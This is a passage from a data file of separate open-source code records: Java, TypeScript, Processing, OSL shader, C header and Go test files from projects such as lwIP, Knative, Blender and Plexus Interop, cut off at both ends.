java.util.Iterator;\nimport java.util.ServiceLoader;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class ClassUtils {\n\n\tprivate static Logger logger = LoggerFactory.getLogger(ClassUtils.class);\n\t\n\tpublic static ClassLoader getDefaultClassLoader() {\n\t\tClassLoader cl = Thread.currentThread().getContextClassLoader();\n\t\tif (cl == null) {\n\t\t\tcl = ClassUtils.class.getClassLoader();\n\t\t\tif (cl == null) {\n\t\t\t\tcl = ClassLoader.getSystemClassLoader();\n\t\t\t}\n\t\t}\n\t\tlogger.info(\"Use ClassLoader {}\", cl.getClass().getName());\n\t\treturn cl;\n\t}\n\t\n\t/*\n\t * 获取最后一个加载的迭代器,以期spi配置可以进行覆盖替换\n\t */\n\tpublic static <T> T loadFromServiceLoader(Class<T> c) {\n ServiceLoader<T> loader = ServiceLoader.load(c, getDefaultClassLoader());\n Iterator<T> it = loader.iterator();\n if (it.hasNext())\n return it.next();\n return null;\n }\n}"} {"text": "context: community\nrepoVersion: v1\nrepositories:\n- name: community\n url: https://kudo-repository.storage.googleapis.com/v1\n"} {"text": "/**\n * Copyright 2017-2020 Plexus Interop Deutsche Bank AG\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\nimport * as path from 'path';\nimport * as os from 'os';\nimport { getDirectories, getDistDir, exists } from './files';\nimport { downloadPackage } from './download';\n\nexport function downloadJre(): Promise<string> {\n const url = getJreDownloadUrl();\n const downloadDir = getJreDownloadDir();\n const title = 'JRE';\n return downloadPackage(url, downloadDir, title, {\n connection: 'keep-alive',\n Cookie: 'gpw_e24=http://www.oracle.com/; oraclelicense=accept-securebackup-cookie'\n });\n}\n\nexport async function javaExecProvided(): Promise<string> {\n const execPath = await getJavaExecPath();\n const execExists = await exists(execPath);\n if (execExists) {\n return execPath;\n } else {\n throw new Error(`Do not exist ${execPath}`);\n }\n}\n\nexport function getJreDownloadUrl(): string {\n const platform = `${os.platform()}-${os.arch()}`;\n return process.env[`PLEXUS_JRE_DOWNLOAD_URL_${platform.toUpperCase()}`]\n || process.env.PLEXUS_JRE_DOWNLOAD_URL\n || getDefaultDownloadUrl(platform);\n}\n\nfunction getDefaultDownloadUrl(platform: string): string {\n switch (platform) {\n case 'win32-ia32':\n case 'win32-x32':\n return 'http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jre-8u161-windows-i586.tar.gz';\n case 'win32-x64':\n return 'http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jre-8u161-windows-x64.tar.gz';\n default:\n throw new Error(`${platform} is not supported`);\n }\n}\n\nexport function getJreBaseDir(downloadDir: string): string {\n const childs = getDirectories(downloadDir);\n if (childs.length === 0) {\n throw new Error('No JRE found');\n }\n return path.join(downloadDir, childs[0]);\n}\n\nexport async function getJavaExecPath(): Promise<string> {\n if (process.env.PLEXUS_CLI_JAVA_EXE_PATH) {\n console.log(`Using Java executable from env variable ${process.env.PLEXUS_CLI_JAVA_EXE_PATH}`);\n return process.env.PLEXUS_CLI_JAVA_EXE_PATH as string;\n }\n const baseDir = getJreBaseDir(getJreDownloadDir());\n return path.join(baseDir, ...getExePath());\n}\n\nfunction getExePath(): string[] {\n return os.platform() === 'win32' ? ['bin', 'java.exe'] : ['bin', 'java'];\n}\n\nconst getJreDownloadDir = () => path.join(getDistDir(), 'jre');\n\nexport const getJavaGenLibPath = () => path.join(getDistDir(), 'lib', 'plexusgen.jar');"} {"text": "/**\n * ControlP5 ButtonBar\n * \n * work-in-progress\n *\n * by Andreas Schlegel, 2012\n * www.sojamo.de/libraries/controlp5\n *\n */\n \n\nimport controlP5.*;\n\nControlP5 cp5;\n\n\nvoid setup() {\n size(400, 400);\n cp5 = new ControlP5(this);\n ButtonBar b = cp5.addButtonBar(\"bar\")\n .setPosition(0, 0)\n .setSize(400, 20)\n .addItems(split(\"a b c d e f g h i j\",\" \"))\n ;\n println(b.getItem(\"a\"));\n b.changeItem(\"a\",\"text\",\"first\");\n b.changeItem(\"b\",\"text\",\"second\");\n b.changeItem(\"c\",\"text\",\"third\");\n b.onMove(new CallbackListener(){\n public void controlEvent(CallbackEvent ev) {\n ButtonBar bar = (ButtonBar)ev.getController();\n println(\"hello \",bar.hover());\n }\n });\n}\n\nvoid bar(int n) {\n println(\"bar clicked, item-value:\", n);\n}\n\nvoid draw() {\n background(220);\n}\n\n/*\na list of all methods available for the ButtonBar Controller\nuse ControlP5.printPublicMethodsFor(ButtonBar.class);\nto print the following list into the console.\n\nYou can find further details about class ButtonBar in the javadoc.\n\nFormat:\nClassName : returnType methodName(parameter type)\n\n\ncontrolP5.ButtonBar : ButtonBar addItem(String, Object) \ncontrolP5.ButtonBar : ButtonBar addItems(List) \ncontrolP5.ButtonBar : ButtonBar addItems(Map) \ncontrolP5.ButtonBar : ButtonBar addItems(String[]) \ncontrolP5.ButtonBar : ButtonBar clear() \ncontrolP5.ButtonBar : ButtonBar removeItem(String) \ncontrolP5.ButtonBar : ButtonBar removeItems(List) \ncontrolP5.ButtonBar : ButtonBar setItems(List) \ncontrolP5.ButtonBar : ButtonBar setItems(Map) \ncontrolP5.ButtonBar : ButtonBar setItems(String[]) \ncontrolP5.ButtonBar : List getItems() \ncontrolP5.ButtonBar : Map getItem(String) \ncontrolP5.ButtonBar : int hover() \ncontrolP5.ButtonBar : void changeItem(String, String, Object) \ncontrolP5.ButtonBar : void onClick() \ncontrolP5.Controller : ButtonBar addCallback(CallbackListener) \ncontrolP5.Controller : ButtonBar addListener(ControlListener) \ncontrolP5.Controller : ButtonBar addListenerFor(int, CallbackListener) \ncontrolP5.Controller : ButtonBar align(int, int, int, int) \ncontrolP5.Controller : ButtonBar bringToFront() \ncontrolP5.Controller : ButtonBar bringToFront(ControllerInterface) \ncontrolP5.Controller : ButtonBar hide() \ncontrolP5.Controller : ButtonBar linebreak() \ncontrolP5.Controller : ButtonBar listen(boolean) \ncontrolP5.Controller : ButtonBar lock() \ncontrolP5.Controller : ButtonBar onChange(CallbackListener) \ncontrolP5.Controller : ButtonBar onClick(CallbackListener) \ncontrolP5.Controller : ButtonBar onDoublePress(CallbackListener) \ncontrolP5.Controller : ButtonBar onDrag(CallbackListener) \ncontrolP5.Controller : ButtonBar onDraw(ControllerView) \ncontrolP5.Controller : ButtonBar onEndDrag(CallbackListener) \ncontrolP5.Controller : ButtonBar onEnter(CallbackListener) \ncontrolP5.Controller : ButtonBar onLeave(CallbackListener) \ncontrolP5.Controller : ButtonBar onMove(CallbackListener) \ncontrolP5.Controller : ButtonBar onPress(CallbackListener) \ncontrolP5.Controller : ButtonBar onRelease(CallbackListener) \ncontrolP5.Controller : ButtonBar onReleaseOutside(CallbackListener) \ncontrolP5.Controller : ButtonBar onStartDrag(CallbackListener) \ncontrolP5.Controller : ButtonBar onWheel(CallbackListener) \ncontrolP5.Controller : ButtonBar plugTo(Object) \ncontrolP5.Controller : ButtonBar plugTo(Object, String) \ncontrolP5.Controller : ButtonBar plugTo(Object[]) \ncontrolP5.Controller : ButtonBar plugTo(Object[], String) \ncontrolP5.Controller : ButtonBar registerProperty(String) \ncontrolP5.Controller : ButtonBar registerProperty(String, String) \ncontrolP5.Controller : ButtonBar registerTooltip(String) \ncontrolP5.Controller : ButtonBar removeBehavior() \ncontrolP5.Controller : ButtonBar removeCallback() \ncontrolP5.Controller : ButtonBar removeCallback(CallbackListener) \ncontrolP5.Controller : ButtonBar removeListener(ControlListener) \ncontrolP5.Controller : ButtonBar removeListenerFor(int, CallbackListener) \ncontrolP5.Controller : ButtonBar removeListenersFor(int) \ncontrolP5.Controller : ButtonBar removeProperty(String) \ncontrolP5.Controller : ButtonBar removeProperty(String, String) \ncontrolP5.Controller : ButtonBar setArrayValue(float[]) \ncontrolP5.Controller : ButtonBar setArrayValue(int, float) \ncontrolP5.Controller : ButtonBar setBehavior(ControlBehavior) \ncontrolP5.Controller : ButtonBar setBroadcast(boolean) \ncontrolP5.Controller : ButtonBar setCaptionLabel(String) \ncontrolP5.Controller : ButtonBar setColor(CColor) \ncontrolP5.Controller : ButtonBar setColorActive(int) \ncontrolP5.Controller : ButtonBar setColorBackground(int) \ncontrolP5.Controller : ButtonBar setColorCaptionLabel(int) \ncontrolP5.Controller : ButtonBar setColorForeground(int) \ncontrolP5.Controller : ButtonBar setColorLabel(int) \ncontrolP5.Controller : ButtonBar setColorValue(int) \ncontrolP5.Controller : ButtonBar setColorValueLabel(int) \ncontrolP5.Controller : ButtonBar setDecimalPrecision(int) \ncontrolP5.Controller : ButtonBar setDefaultValue(float) \ncontrolP5.Controller : ButtonBar setHeight(int) \ncontrolP5.Controller : ButtonBar setId(int) \ncontrolP5.Controller : ButtonBar setImage(PImage) \ncontrolP5.Controller : ButtonBar setImage(PImage, int) \ncontrolP5.Controller : ButtonBar setImages(PImage, PImage, PImage) \ncontrolP5.Controller : ButtonBar setImages(PImage, PImage, PImage, PImage) \ncontrolP5.Controller : ButtonBar setLabel(String) \ncontrolP5.Controller : ButtonBar setLabelVisible(boolean) \ncontrolP5.Controller : ButtonBar setLock(boolean) \ncontrolP5.Controller : ButtonBar setMax(float) \ncontrolP5.Controller : ButtonBar setMin(float) \ncontrolP5.Controller : ButtonBar setMouseOver(boolean) \ncontrolP5.Controller : ButtonBar setMoveable(boolean) \ncontrolP5.Controller : ButtonBar setPosition(float, float) \ncontrolP5.Controller : ButtonBar setPosition(float[]) \ncontrolP5.Controller : ButtonBar setSize(PImage) \ncontrolP5.Controller : ButtonBar setSize(int, int) \ncontrolP5.Controller : ButtonBar setStringValue(String) \ncontrolP5.Controller : ButtonBar setUpdate(boolean) \ncontrolP5.Controller : ButtonBar setValue(float) \ncontrolP5.Controller : ButtonBar setValueLabel(String) \ncontrolP5.Controller : ButtonBar setValueSelf(float) \ncontrolP5.Controller : ButtonBar setView(ControllerView) \ncontrolP5.Controller : ButtonBar setVisible(boolean) \ncontrolP5.Controller : ButtonBar setWidth(int) \ncontrolP5.Controller : ButtonBar show() \ncontrolP5.Controller : ButtonBar unlock() \ncontrolP5.Controller : ButtonBar unplugFrom(Object) \ncontrolP5.Controller : ButtonBar unplugFrom(Object[]) \ncontrolP5.Controller : ButtonBar unregisterTooltip() \ncontrolP5.Controller : ButtonBar update() \ncontrolP5.Controller : ButtonBar updateSize() \ncontrolP5.Controller : CColor getColor() \ncontrolP5.Controller : ControlBehavior getBehavior() \ncontrolP5.Controller : ControlWindow getControlWindow() \ncontrolP5.Controller : ControlWindow getWindow() \ncontrolP5.Controller : ControllerProperty getProperty(String) \ncontrolP5.Controller : ControllerProperty getProperty(String, String) \ncontrolP5.Controller : ControllerView getView() \ncontrolP5.Controller : Label getCaptionLabel() \ncontrolP5.Controller : Label getValueLabel() \ncontrolP5.Controller : List getControllerPlugList() \ncontrolP5.Controller : Pointer getPointer() \ncontrolP5.Controller : String getAddress() \ncontrolP5.Controller : String getInfo() \ncontrolP5.Controller : String getName() \ncontrolP5.Controller : String getStringValue() \ncontrolP5.Controller : String toString() \ncontrolP5.Controller : Tab getTab() \ncontrolP5.Controller : boolean isActive() \ncontrolP5.Controller : boolean isBroadcast() \ncontrolP5.Controller : boolean isInside() \ncontrolP5.Controller : boolean isLabelVisible() \ncontrolP5.Controller : boolean isListening() \ncontrolP5.Controller : boolean isLock() \ncontrolP5.Controller : boolean isMouseOver() \ncontrolP5.Controller : boolean isMousePressed() \ncontrolP5.Controller : boolean isMoveable() \ncontrolP5.Controller : boolean isUpdate() \ncontrolP5.Controller : boolean isVisible() \ncontrolP5.Controller : float getArrayValue(int) \ncontrolP5.Controller : float getDefaultValue() \ncontrolP5.Controller : float getMax() \ncontrolP5.Controller : float getMin() \ncontrolP5.Controller : float getValue() \ncontrolP5.Controller : float[] getAbsolutePosition() \ncontrolP5.Controller : float[] getArrayValue() \ncontrolP5.Controller : float[] getPosition() \ncontrolP5.Controller : int getDecimalPrecision() \ncontrolP5.Controller : int getHeight() \ncontrolP5.Controller : int getId() \ncontrolP5.Controller : int getWidth() \ncontrolP5.Controller : int listenerSize() \ncontrolP5.Controller : void remove() \ncontrolP5.Controller : void setView(ControllerView, int) \njava.lang.Object : String toString() \njava.lang.Object : boolean equals(Object) \n\ncreated: 2015/03/24 12:20:51\n\n*/\n\n\n"} {"text": "/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"stdcycles.h\"\n\nshader node_refraction_bsdf(color Color = 0.8,\n string distribution = \"sharp\",\n float Roughness = 0.2,\n float IOR = 1.45,\n normal Normal = N,\n output closure color BSDF = 0)\n{\n float f = max(IOR, 1e-5);\n float eta = backfacing() ? 1.0 / f : f;\n float roughness = Roughness * Roughness;\n\n if (distribution == \"sharp\")\n BSDF = Color * refraction(Normal, eta);\n else if (distribution == \"beckmann\")\n BSDF = Color * microfacet_beckmann_refraction(Normal, roughness, eta);\n else if (distribution == \"GGX\")\n BSDF = Color * microfacet_ggx_refraction(Normal, roughness, eta);\n}\n"} {"text": "#!/bin/bash\ncargo test\n"} {"text": "/*\n * Copyright (c) 2001-2004 Swedish Institute of Computer Science.\n * All rights reserved. \n * \n * Redistribution and use in source and binary forms, with or without modification, \n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and/or other materials provided with the distribution.\n * 3. The name of the author may not be used to endorse or promote products\n * derived from this software without specific prior written permission. \n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED \n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT \n * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, \n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT \n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN \n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING \n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY \n * OF SUCH DAMAGE.\n *\n * This file is part of the lwIP TCP/IP stack.\n * \n * Author: Adam Dunkels <adam@sics.se>\n *\n */\n#ifndef __LWIP_TCPIP_H__\n#define __LWIP_TCPIP_H__\n\n#include \"lwip/opt.h\"\n\n#if !NO_SYS /* don't build if not configured for use in lwipopts.h */\n\n#include \"lwip/api_msg.h\"\n#include \"lwip/netifapi.h\"\n#include \"lwip/pbuf.h\"\n#include \"lwip/api.h\"\n#include \"lwip/sys.h\"\n#include \"lwip/timers.h\"\n#include \"lwip/netif.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/** Define this to something that triggers a watchdog. This is called from\n * tcpip_thread after processing a message. */\n#ifndef LWIP_TCPIP_THREAD_ALIVE\n#define LWIP_TCPIP_THREAD_ALIVE()\n#endif\n\n#if LWIP_TCPIP_CORE_LOCKING\n/** The global semaphore to lock the stack. */\nextern sys_mutex_t lock_tcpip_core;\n#define LOCK_TCPIP_CORE() sys_mutex_lock(&lock_tcpip_core)\n#define UNLOCK_TCPIP_CORE() sys_mutex_unlock(&lock_tcpip_core)\n#ifdef LWIP_DEBUG\n#define TCIP_APIMSG_SET_ERR(m, e) (m)->msg.err = e /* catch functions that don't set err */\n#else\n#define TCIP_APIMSG_SET_ERR(m, e)\n#endif\n#define TCPIP_APIMSG_NOERR(m,f) do { \\\n TCIP_APIMSG_SET_ERR(m, ERR_VAL); \\\n LOCK_TCPIP_CORE(); \\\n f(&((m)->msg)); \\\n UNLOCK_TCPIP_CORE(); \\\n} while(0)\n#define TCPIP_APIMSG(m,f,e) do { \\\n TCPIP_APIMSG_NOERR(m,f); \\\n (e) = (m)->msg.err; \\\n} while(0)\n#define TCPIP_APIMSG_ACK(m)\n#define TCPIP_NETIFAPI(m) tcpip_netifapi_lock(m)\n#define TCPIP_NETIFAPI_ACK(m)\n#else /* LWIP_TCPIP_CORE_LOCKING */\n#define LOCK_TCPIP_CORE()\n#define UNLOCK_TCPIP_CORE()\n#define TCPIP_APIMSG_NOERR(m,f) do { (m)->function = f; tcpip_apimsg(m); } while(0)\n#define TCPIP_APIMSG(m,f,e) do { (m)->function = f; (e) = tcpip_apimsg(m); } while(0)\n#define TCPIP_APIMSG_ACK(m) sys_sem_signal(&m->conn->op_completed)\n#define TCPIP_NETIFAPI(m) tcpip_netifapi(m)\n#define TCPIP_NETIFAPI_ACK(m) sys_sem_signal(&m->sem)\n#endif /* LWIP_TCPIP_CORE_LOCKING */\n\n/** Function prototype for the init_done function passed to tcpip_init */\ntypedef void (*tcpip_init_done_fn)(void *arg);\n/** Function prototype for functions passed to tcpip_callback() */\ntypedef void (*tcpip_callback_fn)(void *ctx);\n\n/* Forward declarations */\nstruct tcpip_callback_msg;\n\nvoid tcpip_init(tcpip_init_done_fn tcpip_init_done, void *arg);\n\n#if LWIP_NETCONN\nerr_t tcpip_apimsg(struct api_msg *apimsg);\n#endif /* LWIP_NETCONN */\n\nerr_t tcpip_input(struct pbuf *p, struct netif *inp);\n\n#if LWIP_NETIF_API\nerr_t tcpip_netifapi(struct netifapi_msg *netifapimsg);\n#if LWIP_TCPIP_CORE_LOCKING\nerr_t tcpip_netifapi_lock(struct netifapi_msg *netifapimsg);\n#endif /* LWIP_TCPIP_CORE_LOCKING */\n#endif /* LWIP_NETIF_API */\n\nerr_t tcpip_callback_with_block(tcpip_callback_fn function, void *ctx, u8_t block);\n#define tcpip_callback(f, ctx) tcpip_callback_with_block(f, ctx, 1)\n\nstruct tcpip_callback_msg* tcpip_callbackmsg_new(tcpip_callback_fn function, void *ctx);\nvoid tcpip_callbackmsg_delete(struct tcpip_callback_msg* msg);\nerr_t tcpip_trycallback(struct tcpip_callback_msg* msg);\n\n/* free pbufs or heap memory from another context without blocking */\nerr_t pbuf_free_callback(struct pbuf *p);\nerr_t mem_free_callback(void *m);\n\n#if LWIP_TCPIP_TIMEOUT\nerr_t tcpip_timeout(u32_t msecs, sys_timeout_handler h, void *arg);\nerr_t tcpip_untimeout(sys_timeout_handler h, void *arg);\n#endif /* LWIP_TCPIP_TIMEOUT */\n\nenum tcpip_msg_type {\n#if LWIP_NETCONN\n TCPIP_MSG_API,\n#endif /* LWIP_NETCONN */\n TCPIP_MSG_INPKT,\n#if LWIP_NETIF_API\n TCPIP_MSG_NETIFAPI,\n#endif /* LWIP_NETIF_API */\n#if LWIP_TCPIP_TIMEOUT\n TCPIP_MSG_TIMEOUT,\n TCPIP_MSG_UNTIMEOUT,\n#endif /* LWIP_TCPIP_TIMEOUT */\n TCPIP_MSG_CALLBACK,\n TCPIP_MSG_CALLBACK_STATIC\n};\n\nstruct tcpip_msg {\n enum tcpip_msg_type type;\n sys_sem_t *sem;\n union {\n#if LWIP_NETCONN\n struct api_msg *apimsg;\n#endif /* LWIP_NETCONN */\n#if LWIP_NETIF_API\n struct netifapi_msg *netifapimsg;\n#endif /* LWIP_NETIF_API */\n struct {\n struct pbuf *p;\n struct netif *netif;\n } inp;\n struct {\n tcpip_callback_fn function;\n void *ctx;\n } cb;\n#if LWIP_TCPIP_TIMEOUT\n struct {\n u32_t msecs;\n sys_timeout_handler h;\n void *arg;\n } tmo;\n#endif /* LWIP_TCPIP_TIMEOUT */\n } msg;\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* !NO_SYS */\n\n#endif /* __LWIP_TCPIP_H__ */\n"} {"text": "// Copyright © 2019 The Knative Authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage apiserver\n\nimport (\n\t\"testing\"\n\n\t\"gotest.tools/assert\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\tv1alpha2 \"knative.dev/eventing/pkg/apis/sources/v1alpha2\"\n)\n\nfunc TestGetAPIServerResourceArray(t *testing.T) {\n\tt.Run(\"get single apiserver resource\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Reference\",\n\t\t\tResources: []string{\"Service:serving.knative.dev/v1:key1=val1\"},\n\t\t}\n\t\tcreated, _ := createFlag.getAPIServerVersionKindSelector()\n\n\t\twanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Service\",\n\t\t\tAPIVersion: \"serving.knative.dev/v1\",\n\t\t\tLabelSelector: createLabelSelector(\"key1\", \"val1\"),\n\t\t}}\n\t\tassert.DeepEqual(t, wanted, created)\n\t})\n\n\tt.Run(\"get single apiserver resource without label selector\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Reference\",\n\t\t\tResources: []string{\"Service:serving.knative.dev/v1\"},\n\t\t}\n\t\tcreated, _ := createFlag.getAPIServerVersionKindSelector()\n\t\twanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Service\",\n\t\t\tAPIVersion: \"serving.knative.dev/v1\",\n\t\t}}\n\t\tassert.DeepEqual(t, wanted, created)\n\t})\n\n\tt.Run(\"get multiple apiserver resources\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Resource\",\n\t\t\tResources: []string{\"Event:v1\", \"Pod:v2:key1=val1,key2=val2\"},\n\t\t}\n\t\tcreated, _ := createFlag.getAPIServerVersionKindSelector()\n\t\twanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Event\",\n\t\t\tAPIVersion: \"v1\",\n\t\t}, {\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v2\",\n\t\t\tLabelSelector: createLabelSelector(\"key1\", \"val1\", \"key2\", \"val2\"),\n\t\t}}\n\t\tassert.DeepEqual(t, wanted, created)\n\t})\n\n\tt.Run(\"get multiple apiserver resources without label selector\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Resource\",\n\t\t\tResources: []string{\"Event:v1\", \"Pod:v1\"},\n\t\t}\n\t\tcreated, _ := createFlag.getAPIServerVersionKindSelector()\n\n\t\twanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Event\",\n\t\t\tAPIVersion: \"v1\",\n\t\t}, {\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v1\",\n\t\t}}\n\t\tassert.DeepEqual(t, wanted, created)\n\t})\n\n\tt.Run(\"get apiserver resource when label controller has error\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Reference\",\n\t\t\tResources: []string{\"Event:v1:xxx,bla\"},\n\t\t}\n\t\t_, err := createFlag.getAPIServerVersionKindSelector()\n\t\terrorMsg := \"invalid label selector in resource specification Event:v1:xxx,bla (expected: <kind:apiVersion[:label1=val1,label2=val2,..]>\"\n\t\tassert.Error(t, err, errorMsg)\n\t})\n\n\tt.Run(\"get apiserver resources when kind has error\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Reference\",\n\t\t\tResources: []string{\":v2\"},\n\t\t}\n\t\t_, err := createFlag.getAPIServerVersionKindSelector()\n\t\terrorMsg := \"cannot find 'kind' part in resource specification :v2 (expected: <kind:apiVersion[:label1=val1,label2=val2,..]>\"\n\t\tassert.Error(t, err, errorMsg)\n\t})\n\n\tt.Run(\"get apiserver resources when APIVersion has error\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Reference\",\n\t\t\tResources: []string{\"kind\"},\n\t\t}\n\t\t_, err := createFlag.getAPIServerVersionKindSelector()\n\t\terrorMsg := \"cannot find 'APIVersion' part in resource specification kind (expected: <kind:apiVersion[:label1=val1,label2=val2,..]>\"\n\t\tassert.Error(t, err, errorMsg)\n\t})\n}\n\nfunc TestGetUpdateAPIServerResourceArray(t *testing.T) {\n\tt.Run(\"get removed apiserver resources\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Resource\",\n\t\t\tResources: []string{\"Event:v1\", \"Pod:v2-\"},\n\t\t}\n\t\tadded, removed, _ := createFlag.getUpdateAPIVersionKindSelectorArray()\n\t\taddwanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Event\",\n\t\t\tAPIVersion: \"v1\",\n\t\t}}\n\t\tremovewanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v2\",\n\t\t}}\n\t\tassert.DeepEqual(t, added, addwanted)\n\t\tassert.DeepEqual(t, removed, removewanted)\n\n\t\tcreateFlag = APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Resource\",\n\t\t\tResources: []string{\"Event:v1:key1=val1,key2=val2-\", \"Pod:v1\"},\n\t\t}\n\t\tadded, removed, _ = createFlag.getUpdateAPIVersionKindSelectorArray()\n\n\t\tremovewanted = []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Event\",\n\t\t\tAPIVersion: \"v1\",\n\t\t\tLabelSelector: createLabelSelector(\"key1\", \"val1\", \"key2\", \"val2\"),\n\t\t}}\n\t\taddwanted = []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v1\",\n\t\t}}\n\t\tassert.DeepEqual(t, added, addwanted)\n\t\tassert.DeepEqual(t, removed, removewanted)\n\t})\n}\n\nfunc TestUpdateExistingAPIServerResourceArray(t *testing.T) {\n\texisting := []v1alpha2.APIVersionKindSelector{{\n\t\tKind: \"Event\",\n\t\tAPIVersion: \"v1\",\n\t}, {\n\t\tKind: \"Pod\",\n\t\tAPIVersion: \"v1\",\n\t}}\n\n\tt.Run(\"update existing apiserver resources\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Resource\",\n\t\t\tResources: []string{\"Deployment:v1:key1=val1,key2=val2\", \"Pod:v1-\"},\n\t\t}\n\t\tupdated, _ := createFlag.updateExistingAPIVersionKindSelectorArray(existing)\n\t\tupdatedWanted := []v1alpha2.APIVersionKindSelector{{\n\t\t\tKind: \"Event\",\n\t\t\tAPIVersion: \"v1\",\n\t\t}, {\n\t\t\tKind: \"Deployment\",\n\t\t\tAPIVersion: \"v1\",\n\t\t\tLabelSelector: createLabelSelector(\"key1\", \"val1\", \"key2\", \"val2\"),\n\t\t}}\n\t\tassert.DeepEqual(t, updated, updatedWanted)\n\t})\n\n\tt.Run(\"update existing apiserver resources with error\", func(t *testing.T) {\n\t\tcreateFlag := APIServerSourceUpdateFlags{\n\t\t\tServiceAccountName: \"test-sa\",\n\t\t\tMode: \"Resource\",\n\t\t\tResources: []string{\"Deployment:v1\", \"Pod:v2-\"},\n\t\t}\n\t\t_, err := createFlag.updateExistingAPIVersionKindSelectorArray(existing)\n\t\terrorMsg := \"cannot find resources to remove: Pod:v2\"\n\t\tassert.Error(t, err, errorMsg)\n\t})\n}\n\nfunc createLabelSelector(keyAndVal ...string) *metav1.LabelSelector {\n\tlabels := make(map[string]string)\n\tfor i := 0; i < len(keyAndVal); i += 2 {\n\t\tlabels[keyAndVal[i]] = keyAndVal[i+1]\n\t}\n\treturn &metav1.LabelSelector{MatchLabels: labels}\n}\n"} {"text": "/*\n * Copyright 2015 Open mHealth\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT 